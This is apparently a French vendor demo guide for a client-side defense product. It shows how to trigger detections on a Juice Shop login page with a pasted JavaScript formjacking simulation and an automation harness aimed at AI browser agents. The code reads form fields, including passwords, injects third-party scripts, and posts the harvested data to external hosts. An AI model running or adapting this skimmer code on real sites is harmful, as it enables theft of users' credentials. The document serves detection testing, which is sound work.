Aller au contenu

Détection des déclencheurs

CSD surveille le comportement JavaScript à l’intérieur du navigateur. Contrairement au Pare-feu applicatif (WAF) ou à la Défense Bot, il n’est pas possible de déclencher la détection CSD avec des commandes curl — cela nécessite une activité de script réelle côté navigateur. Le script combiné suivant déclenche les trois signaux de détection CSD en une seule exécution : collecte des champs de formulaire, injection de scripts tiers depuis plusieurs domaines CDN, et exfiltration de données vers des points de terminaison externes.

  1. Accédez à la page de connexion de Juice Shop à l’adresse https://botdemo.sales-demo.f5demos.com/#/login

  2. Saisissez des identifiants fictifs dans les champs du formulaire — tapez test@example.com dans le champ Email et P@ssword123 dans le champ Password (ne soumettez pas le formulaire)

  3. Ouvrez les DevTools (F12 → onglet Console)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input
  4. Collez le script suivant dans la console et appuyez sur Entrée — il s’exécute automatiquement en tant que fonction auto-invoquée

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. Observez la sortie console [CSD Demo] par phases, confirmant chaque étape : collecte des champs, injection de scripts depuis 4 domaines CDN, et exfiltration de données. esm.sh utilise la syntaxe des modules ES (export default …) — lorsqu’il est chargé via une balise <script> classique, cela provoque une Uncaught SyntaxError: Cannot use import statement outside a module. Cela est attendu et n’affecte pas la détection CSD (la balise script est tout de même injectée et la requête réseau est bien effectuée)

    Console output after running the simulation scriptConsole output after running the simulation script

Les assistants IA dotés d’outils d’automatisation de navigateur (MCP Chrome DevTools, Playwright, Puppeteer) exécutent la simulation de manière programmatique au lieu de suivre les étapes manuelles ci-dessus :

  1. Naviguer avec initScript — naviguez d’abord vers about:blank pour garantir un contexte de document propre, puis utilisez navigate_page vers l’URL de la page de connexion (par exemple, http://$F5XC_DOMAINNAME/#/login) avec un initScript qui sauvegarde les fonctions natives setInterval, clearInterval, fetch et console.log avant que zone.js ne les remplace, interroge les champs du formulaire de connexion, remplit les identifiants via le setter natif HTMLInputElement.prototype.value, et exécute immédiatement le script de détection combiné en ligne. Utilisez l’initScript textuel ci-dessous.
  2. Fermer la bannière de bienvenue — utilisez press_key avec Escape pour fermer la bannière de bienvenue. Lors des visites suivantes, la bannière peut ne pas apparaître (cookies persistés)
  3. Attendre la fin de l’exécution — patientez 10 secondes pour que tous les rappels de chargement/erreur des scripts CDN et les résolutions des promesses fetch se terminent
  4. Capturer les preuves — utilisez list_console_messages pour vérifier la présence de [CSD Demo] Simulation complete ; utilisez list_network_requests filtré sur les types script et fetch pour vérifier les codes de statut HTTP

Harnais initScript (textuel — encapsule le script de détection combiné pour l’exécution automatisée) :

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Remarque sur fetch natif : Ce harnais sauvegarde window.fetch.bind(window) pour éviter les erreurs de zone.js. Il s’agit du comportement correct pour toutes les phases de simulation d’attaque. L’atténuation CSD bloque le chargement des scripts (en effaçant les valeurs de l’attribut src des balises &lt;script&gt;), pas les appels fetch(), de sorte que la sauvegarde de la référence fetch native n’affecte pas le comportement d’atténuation. Le même initScript est utilisé pour la Phase 2 et la Phase 3.

Les opérateurs sans outils d’automatisation de navigateur utilisent les étapes manuelles ci-dessus.

La simulation combinée déclenche les trois signaux de détection CSD :

ComportementCe que fait le scriptCe que voit CSD
Collecte des champsLit les valeurs des éléments input existants (email, mot de passe)Scripts lisant des champs de formulaire sensibles — signalé comme Risque élevé
Injection de scriptsAjoute 4 balises <script> chargeant depuis cdn.jsdelivr.net, esm.sh, unpkg.com et ga.jspm.io4 nouveaux domaines de scripts tiers sur la page
Exfiltration de donnéesEnvoie les données collectées via fetch vers www.httpbin.org et jsonplaceholder.typicode.comAppels réseau vers des domaines externes (remarque : les destinations fetch apparaissent comme des interactions réseau de scripts, et non dans la vue des domaines réseau)

Le script combiné ci-dessus est une version simplifiée en 3 phases (collecte, injection, exfiltration) adaptée à la plupart des démonstrations. La Bibliothèque de scripts d’attaque propose 10 scripts ciblés organisés par type d’attaque, dont un test de stress Détection maximale qui ajoute la manipulation du DOM, l’exfiltration de cookies et des canaux de balises image en complément de la couverture du script combiné. Utilisez les scripts individuels pour démontrer des catégories d’attaques spécifiques (formjacking, skimming numérique, injection dans la chaîne d’approvisionnement, exfiltration de données, manipulation du DOM) de manière isolée.